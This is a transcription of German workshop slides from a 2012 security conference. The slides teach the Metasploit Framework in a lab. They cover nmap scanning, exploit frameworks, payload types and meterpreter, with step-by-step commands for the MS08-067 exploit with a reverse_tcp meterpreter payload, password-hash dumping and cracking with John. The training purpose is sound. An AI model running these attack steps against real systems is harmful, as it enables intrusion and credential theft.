Metasploit Framework

Transcription

Metasploit Framework
Willkommen
zum
Security
Willkommen
zum
ITSeCXDay
20122012
Workshop System Exploitation
Freitag, 09. November 12
Workshop Überblick
 Metasploit Framework kennenlernen
 Awareness und Wissen über moderne Angriffswerkzeuge schärfen
 „hands-on“ Umgebung
 Backtrack 5 R1
 User: root Password: toor
 Server-Victim
 User: Administrator Password: test
 und Client-Victim
 User: Administrator Password: admin
 Hilfestellungen
 Einzugebende Kommandos finden sich in den Slides
 Fragen
 Bitte jederzeit stellen!
Freitag, 09. November 12
2
Freitag, 09. November 12
Motivation für diesen Workshop
 Angriffswerkzeug Metasploit vorstellen
 um daraus Lessons Learned für die Defensive zu ziehen
 um zu sehen, „wie einfach“ die Verwendung von Exploit Tools mittlerweile sein
kann
 grundlegendes „Handling“ des Werkzeugs vermitteln
 um sich eigenständig eingehender damit zu beschäftigen
 um Awareness schaffen zu können
 einfache Angriffsszenarien darstellen
 um besseres Verständnis dafür zu bekommen, was alles mit modernen
Angriffswerkzeugen (auch automatisiert) möglich ist
3
Freitag, 09. November 12
Port- und Vulnerability Scanning
Schwachstellen in Netzwerken und Systemen finden
netzwerkseitige Vulnerability Scans
lokale Vulnerability Scans
Vulnerability Scanning
Suche nach bekannten Sicherheitsproblemen und Schwachstellen
Port Scanning
Suche nach offenen, geschlossenen oder gefilterten Ports
Operating System Detection
Versuch, das Betriebssytem eines Zielsystem (netzwerkseitig) zu identifizieren
Service/Version Detection
Versuch, den Service/dessen Version an einem offenen Port festzustellen
Freitag, 09. November 12
NMAP: Network Mapper
NMAP Buch als Standard-Referenz zu Port Scanning
http://nmap.org/book/
Freitag, 09. November 12
NMAP: Network Mapper
…eines der wenigen real existierenden Tools aus Filmen
Yes, even the Matrix runs OpenSSH !!!
Freitag, 09. November 12
TCP Port Scanning
TCP 3-Way Handshake zum Verbindungsaufbau, TCP-Flags
TCP Port offen
SYN
SYN / ACK
HO
ST
ACK
R
E
V
R
SE
TCP Port geschlossen
SYN
RST
HO
ST
Freitag, 09. November 12
R
E
V
R
SE
Scannen nach offenen Ports...
nmap -sS -n --reason 192.168.1.1
nmap -sU -p0-2048 -n --reason
192.168.1.1
Freitag, 09. November 12
Erkennen des Betriebssystems
nmap -O -n --reason 192.168.1.1
nmap -O -n --reason 192.168.1.1
Freitag, 09. November 12
Erkennen der laufenden Services
nmap -sV -n --reason 192.168.1.1
Freitag, 09. November 12
Erkennen von Schwachstellen auf laufenden Services
nmap --script=exploit -n --reason
192.168.1.1
Freitag, 09. November 12
Exploits und andere Angriffswerkzeuge ...
 zumindest theoretisch seit 1972
bekannt
 in „Computer Security Technology
Planning Study“ von James P. Anderson
Problematik grundsätzlich beschrieben
 praktisch seit mind. 1987 ein Begriff
 „Morris Worm“
 „zur Abmessung der Größe des ARPAnet“
 nutze unterschiedliche bekannte
Schwachstellen aus
 sendmail, finger, rsh/rexec
 seither Exploit-Code laufend auf
Mailing-Listen, Portalen u.ä
veröffentlicht
12
Freitag, 09. November 12
Exploit Portale – gestern – heute – morgen?
 bieten Exploits zum Download an
 Nmap Exploit World (geht zurück auf 1996)
 K-Otic / FrSirt
 Milw0rm
(geht zurück auf 1998)
 aktuell: Großteil der Exploit-Portale in „Exploit-Database“ archiviert
(www.exploit-database.com)
>> http://www.exploit-db.com
 Exploit Database
(http://www.exploit-db.com/)
13
Freitag, 09. November 12
Heute: Exploitation Frameworks
 Kommerzielle Werkzeuge (meist ab USD 15.000 lizenzierbar)
 Immunitysec CANVAS
 Core Impact Pro
 Metasploit Pro / Express
 Open-Source oder freie Werkzeuge
 Metasploit Framework / Community
 Inguma
 winAUTOPWN
14
Freitag, 09. November 12
Heute: Exploit Packs und Exploit Kits
 Exploit Packs
 enthalten neueste Exploits für populäre Schwachstellen
 kommerzielle Produkte
 Meist in Verbindung mit Exploitation Frameworks
verwendbar
 VulnDisco Pack Professional
 D2 Exploitation Pack
 „Exploit Kits“
 Begriff wird für Tools zum Customizing
von Malware verwendet
 enthalten meist auch Exploit-Sammlungen für neueste
Schwachstellen
 „underground ware“
15
Freitag, 09. November 12
Immunitysec CANVAS
 verfügt dzt. über ca. 490Exploits
 monatlich ca. 4 Exploits hinzugefügt
 Fokus auf folgende Schwachstellen
 mit Möglichkeit zur Remote Exploitation
 in „mainstream“ Software
 alle Plattformen und Applikationen
 Vorteile
 Exploits sind getestet bzw. Anpassung kann angefordert werden
 Support für Tester ist verfügbar
 graphische Interfaces leiten durch den Angriffsvorgang
16
Freitag, 09. November 12
Core Impact Professional
 verfügt über ca. 700 Exploits
 monatlich ca. 10-20 Exploits hinzugefügt
 Fokus auf folgende Schwachstellen
 mit Möglichkeit zur Remote Exploitation
 mit Möglichkeit zur Local Exploitation
 Schwachstellen in Webapplikationen
 etabliert eigene Methodologie RPT (Rapid Penetration Testing)
 Tester wird Schritt für Schritt durch den ganzen Vorgang angeleitet
 alles im graphischen Interface erledigbar
 Berichtsfunktionalitäten im Produkt inkludiert
17
Freitag, 09. November 12
Metasploit
 verfügt über ca. 758 Exploits
 Exploits sind Open-Source
 jeder kann Exploits mit Hilfe des Metasploit Frameworks entwickeln
 monatlich ca. 10-20 Exploits hinzugefügt
 „user-contributed“ Code (bedenklich?)
 gratis oder im Rahmen von „Bug Bounty“ Wettbewerben bereitgestellt
 in freien und kostenpflichtigen Editionen verfügbar
 „Metasploit Framework“ ist gemeinsame Basis für alle Editionen
18
Freitag, 09. November 12
Metasploit Framework
 gemeinsame Basis für alle Editionen
 wesentlicher Nachteil
 keine webbasierte Oberfläche wie in Express / Community / Pro
 keine inkludierten Reporting-, Scheduling- oder Automatisierungsmöglichkeiten
 kein Support, daher auch keine Funktionsgarantien
 wesentlicher Vorteil
 tagesaktuell aus dem SVN mit Exploits und Angriffswerkzeugen aktualisierbar
 frei zugänglich und erweiterbar
„If it is in metasploit, you should patch it.“
21
Freitag, 09. November 12
Metasploit Framework
 eine einfache Umgebung zum Entwickeln von Exploits
 Metasploit Framework bietet Basisstruktur
 auf vorhandener Funktionalität des Frameworks kann aufgebaut werden
 ein Testwerkzeug für unterschiedlichsten Einsatz
 Metasploit bis Version 2.x in Perl entwickelt, seit 3.x in Ruby
22
Freitag, 09. November 12
Metasploit Features
 Import von Ergebnissen anderer Tools
 NMAP, Nessus, Rapid7 Nexpose, WebInspect, ...
 Session Management und Scripting
 Verbindungen zu kompromittierten Systemen werden aufrecht gehalten
 Automatisierung von Arbeitsschritten ist möglich
 IDS und Firewall Evasion
 Veränderung des Traffics zur Umgehung von Firewalls und IDS
 Pivoting (Tunneling in andere Netzwerke)
 Post-Exploitation Tools inkludiert
 nicht nur Angriff, sondern auch Weiterführung des Angriffs erfolgt direkt aus dem
Framework
23
Freitag, 09. November 12
Metasploit Dokumentation
 Metasploit ist ein Community-Projekt
 Dokumentation kommt aus der Community
 WIKIBOOKS
(http://en.wikibooks.org/wiki/Metasploit/Contents)
 Metasploit Unleashed
unleashed/)
(http://www.offensive-security.com/metasploit-
25
Freitag, 09. November 12
Metasploit Dokumentation
 Metasploit ist ein Community-Projekt
 Dokumentation kommt aus der Community
 Security Tube “Metasploit Megaprimer” (http://www.securitytube.net/groups?
operation=view&groupId=8)
 über 5 Stunden Videos zu Verwendung von Metasploit
 div. Bücher, Magazine, Präsentationen, …
26
Freitag, 09. November 12
Metasploit Kurse
 einen echten “Metasploit Kurs” gibt es
nicht
 das Framework verändert sich laufend
 “mit jedem SVN Checkout kann eine neue
Funktion hinzukommen”
 div. sehr gute Online-Kurse
beschäftigen sich mit Metasploit sehr
intensiv
 Offensive Security: “Penetration Testing with
Backtrack”
27
Freitag, 09. November 12
Aufbau des Metasploit Frameworks
 Metasploit ist eine Sammlung von
 Ruby-Bibliotheken
 div. Tools zur Entwicklung von Exploits
 Metasploit Dokumentation
FRAMEWORK
Documentation User Interfaces
Modules
Exploit Creation
Misc.
28
Freitag, 09. November 12
Aufbau des Metasploit Frameworks
 Module stellen die eigentliche Funktionalität des Frameworks
MODULES
Encoders
Exploits
Payloads
Auxiliary
Post
29
Freitag, 09. November 12
Which interface to rule them all?
 msfd – Metasploit Framework Daemon
 Daemon auf Port 55554
 konzipiert für Zugriff durch mehrere Benutzer
 entspricht für einzelne Benutzer msfconsole
 msfcli – Metaspoit Framework Command Line
 Kommandos müssen in einzelner Zeile übergeben werden
 hauptsächlich für Scripting interessant
30
Freitag, 09. November 12
Which interface to rule them all?
 msfgui – Metasploit Framework GUI
 java-basiertes Interface, kurzzeitig nicht weiterentwickelt worden
 msfconsole – Metasploit Framework Console
 Command-Line Shell zur Steuerung des Frameworks
 wahrscheinlich das wichtigste / bevorzugteste Interface für MSF
31
Freitag, 09. November 12
Which interface to rule them all?
 Armitage
 neuestes GUI für Metasploit
 sehr einfache Benutzerführung
 laufend weiterentwickelt
 Verwendung auch in Teams möglich
 jeder hat eigenes GUI
 alle arbeiten auf derselben
Metasploit Instanz
 für Präsentationen zur AwarenessSchaffung sehr gut geeignet!
32
Freitag, 09. November 12
cd /pentest/exploits/framework
./msfconsole
33
Freitag, 09. November 12
help
search
show
info
use
Befehlsübersicht
Module suchen
Module anzeigen
Modulinformationen anzeigen
Modul anwenden
34
Freitag, 09. November 12
Mom, where do the exploits come from?
 stable versions von Metasploit in regelmäßigen Release-Zyklen
 üblicherweise wird testing branch direkt aus SVN bezogen




neueste Exploits
neueste Payloads
neueste Bugfixes
aber: Testing, keine stabile Version (stabile Versionen für Security-Tools?)
 1-2 Updates pro Tag machen durchaus Sinn
 auf jeden Fall immer mit der aktuellsten Revision des Frameworks arbeiten
35
Freitag, 09. November 12
Metasploit Modules – „Exploits“
 Exploit-Module zur Ausnutzung von Schwachstellen
 müssen mit Payloads kombiniert werden, um sinnvolle
Aktionen ausführen zu können
 unterschiedliche Arten von Exploits
 Remote Exploits
 zum Angriff von (Server-)dienste über Netzwerke
 Local Exploits
 zur Ausführung von Attacken lokal auf Systemen (zb.: Privilege Escalation)
 Client-Side Exploits
 zum Angriff von Clients über Netzwerke (zb.: über Browser)
 Document Format Exploits
 zur Erstellung von Dateien (PDF, AVI, MP3, ...), welche Schadcode enthalten und
Schwachstellen in Programmen ausnutzen
36
Freitag, 09. November 12
Metasploit Modules – „Exploits“
 Unterstützte Plattformen




Windows
Linux
Unix (IRIX, Solaris, AIX, HPUX)
OSX
 Client-side exploits
 Internet Explorer/Firefox
 DLL-Hijacking
 Real Player
 Document format exploits
 PDF
 MS Office
 Quicktime
37
Freitag, 09. November 12
Metasploit Modules – „Payloads“
 führen Aktionen nach dem Ausnutzen der Schwachstelle aus
 verschaffen in der Regel dem Angreifer Zugriff auf das System
 öffnen Listener Ports, auf die Angreifer verbindet (bind_tcp)
 verbinden sich zum Angreifer zurück (reverse_tcp)
 tunneln Netzwerkverkehr um Firewalls oder Proxies zu umgehen
 reverse_http(s)
 reverse_tcp_dns
 ermöglichen die Interaktion mit dem Zielsystem
 über einfache Shells
 über graphische Oberflächen (VNC)
 über „meterpreter“
 eine spezialisierte Shell, welche weite Teile des Metasploit Frameworks auf das
Zielsystem transferiert
39
Freitag, 09. November 12
Metasploit Modules – „Single Payloads“
 in sich abgeschlossene Payloads
 adduser
 Adds a user to local admins group
 (download_)exec
 (Downloads and) runs a command on the target machine
 shell_bind_tcp(_xpfw)
 Provides cmd.exe access via a port listener (after disabling the Windows
Firewall)
 shell_reverse_tcp
 Makes a connection back to the attacker to provide shell access
40
Freitag, 09. November 12
Metasploit Modules – „Post“
 zur Ausführung von Post Exploitation Angriffen
 diverse Möglichkeiten bringt das Framework mit
 Dumpen von Hashes
 Dumpen von gespeicherten Passwörtern in Applikationen (Browser, 3rd Party
Software, ...)
 anlegen von neuen Benutzern
 „Pivoting“: Tunneling über den kompromittierten Host in weitere Netzwerke
 gibt es kein Post Module, bleibt ...
 Scripting in Meterpreter (Ruby)
 „Railgun“ (direktes Ansprechen der Windows API)
41
Freitag, 09. November 12
use exploit/windows/smb/ms08_067_netapi
info
show
show options
set RHOST 192.168.1.1
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.1.2
exploit
43
Freitag, 09. November 12
show targets
set TARGET 13
exploit
46
Freitag, 09. November 12
So it did not work?
 Functional Exploit
 Exploit muss getestet sein, um in verschiedenen Environments verlässlich zu
funktioneren
 Hardening Options
 Betriebssysteme bieten Schutz vor manchen Exploit-Techniken
 DEP (Data Execution Prevention)
 ASLR (Address Space Layout Randomization)
 SEHOP (Structured Exception Handler Protection)
 Compiler kennen auch Schutzmechanismen („Stack Cookies“) („Canaries“)
 Betriebssystemversionen (Kernel-Version, Patch-Stand)
 unterschiedlich kompilierte Binaries
 zb.: beim Einsatz unterschiedlicher Sprachversionen
45
Freitag, 09. November 12
Metasploit Meterpreter
 kein eigener Prozess auf Ziel erkennbar
 daher nicht so einfach zu finden
AT
TA
 funktioniert nur auf Windows
Systemen
CK
E
R
DLL
 DLLs werden in kompromittierten
Prozess injiziert
Exploited
TARGET Process
Meterpreter
E
XP
LO
IT
 spezialisierte Shell für Angriffe
47
Freitag, 09. November 12
Metasploit Meterpreter
Basic commands





? / help
exit / quit
sysinfo : Shows name and OS type of target machine
shutdown / reboot
reg : Allows reading / writing to the registry of the target machine
48
Freitag, 09. November 12
Metasploit Meterpreter
 Filesystem commands






cd : navigate on target machine
lcd : navigate on local (attackers) machine
pwd / getwd : Shows current directory
ls, cat, mkdir, rmdir : All familiar unix style commands
download / upload : Move files between local and target machines
edit : vi style editor
49
Freitag, 09. November 12
Metasploit Meterpreter
 Metasploit Meterpreter






getpid : shows the process ID that meterpreter is running within
getuid : shows the user ID that meterpreter is running as
ps : Shows active processes
kill : kills a process
execute : executes a program on the target machine
migrate : move meterpreter into the memory of another process
 Cannot jump to higher priv process
 Can be useful if you exploit an unstable process
50
Freitag, 09. November 12
Metasploit Meterpreter
 Network Commands
 ipconfig : shows the interface information
 portfwd : Sets a local port listener to forward packets through the
meterpreter process to other target machines on the target LAN
 route : displays the targets routing table (add/del/subnet/netmask
and gateway options can alter the targets routing table.
51
Freitag, 09. November 12
Metasploit Meterpreter
help
sysinfo
screenshot
52
Freitag, 09. November 12
Metasploit Meterpreter
 Scripts
 erweitern die Funktionalität von Post Modulen
 können zur Automatisierung von Post-Exploitation
verwendet werden
run
<TAB><TAB>
53
Freitag, 09. November 12
Metasploit Meterpreter
hashdump
(OUTPUT in File hashes.txt
schreiben)
cd /pentest/password/john
john /root/hashes.txt
54
Freitag, 09. November 12